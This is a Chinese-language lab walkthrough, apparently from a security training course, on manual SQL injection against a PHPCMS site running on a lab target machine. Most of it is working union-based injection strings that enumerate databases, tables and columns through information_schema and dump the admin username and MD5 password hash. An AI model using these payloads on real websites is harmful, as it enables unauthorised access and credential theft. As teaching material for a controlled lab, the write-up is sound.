基于phpcms的SQL手工注入

【实验目的】通过本实验理解SQL手工注入技术,掌握通过mysql数据库语法来进行手工sql注入的过程。 实验步骤 步骤一、目标网站开启 (1)进入靶机,查看I

【实验目的】

  通过本实验理解SQL手工注入技术,掌握通过mysql数据库语法来进行手工sql注入的过程。

实验步骤

步骤一、目标网站开启

(1)进入靶机,查看IP地址; 开始—运行,输入cmd回车,出现命令行窗口,输入:ipconfig 显示,靶机配置信息,记下以太网适配器下,IPv4地址(后面访问网页会用到)。 此处假设为192.168.0.18.

(2)启动phpstudy(桌面图标):

如果,显示不是两个绿色标志,则等待一会,按下重启按钮,再次尝试

步骤二、渗透主机上探测目标网站有无sql注入点

(1)打开云主机,输入密码360College。 利用攻击机,访问靶机。http://IP:8083(注意根据查看到的靶机IP地址,修改此处的IP,端口不变,以下截图中,均应将端口修改为8083),然后点击其中的一篇文章,如果地址栏出现http://***/show.php?id=XX,则表明目标网站,采用PHP语言开发。

(2)试探目标网站 分别在地址末尾添加单撇号、and 1=1 和 and 1=2 进行注入点探测。

如果show.php?id=XX后加单撇号出错、给出数据库信息,则表明存在注入攻击点。

 

步骤三、判断字段长度

利用 order by N,从数字 1 开始替代 N,直到返回错误页面,判断字段长度为错误页面的 N-1,也就是最后一个正常页面返回。实验中N=16,错误,所以字段长度为15

如图输入http://***/show.php?id=XX order by 16报错:

 

 

如图输入http://***/show.php?id=XX order by 15正确:

 

 

步骤四、判断字段位置回显

 

 

利用show.php?id=XX and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 最后一个数为字段长度,有回显会将相应数字显示出来。从下图可知,3 和 11 的位置可以回显信息。判断数据库信息:

回显结果

 

 

 

步骤五、判断数据库相关信息

用 and 1=2 union select 1,2,sql_command,4,5,6,7,8,9,10,11,12,13,14,15 (用 具体sqlXXX 指令替换 sql_command)。

(1)查看 mysql 版本

 

 

结果

 

 

(2)查看当前数据库名

 

 结果

 

 (3)查看当前用户

 

 

步骤六、判断所有数据库名

利用 and 1=2 union select 1,2,group_concat(convert(SCHEMA_NAME using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.SCHEMATA,查看 mysql中所有数据库的名称。

由下图结果可知业务数据库为 cms。其他数据库有mysql,test,phpmyadmin等

 

 

步骤七、判断具体某个数据库中的数据库表

利用 and 1=2 union select 1,2,group_concat(convert(table_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() ,查看 cms 数据库拥有的所有表。可以发现存放用户信息的表cms_users。

 

 

 

如下查看其它数据库中的数据表,则需要将。。。where table_schema=database()处的database() 替换为具体的数据库名,并且数据库名要16进制转化为0xAAABBBCCCC格式

步骤八、判断数据表的所有列

利用 and 1=2 union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573657273。

table_name=cms_users表名需要编码为 16 进制table_name=0x636D735F7573657273形式,从ASCII对照表中可知对应:c(63) m(6d) s(73) _(5f) u(75) s(73) e(65) r(72) s(73)

如图所示,得到 3 个列:userid,username 和 password

 

 

步骤九、判断管理员账号密码

利用 and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users

得到管理员账号密码为:admin/e10adc3949ba59abbe56e057f20f883e(解密后123456)

 

步骤十、登录后台

 

 

 

实验结束

思考与总结

  通过本次实验,成功实现了手工注入一个存在sql注入漏洞的网站的全部过程,掌握SQL注入的攻击方法以及防御措施。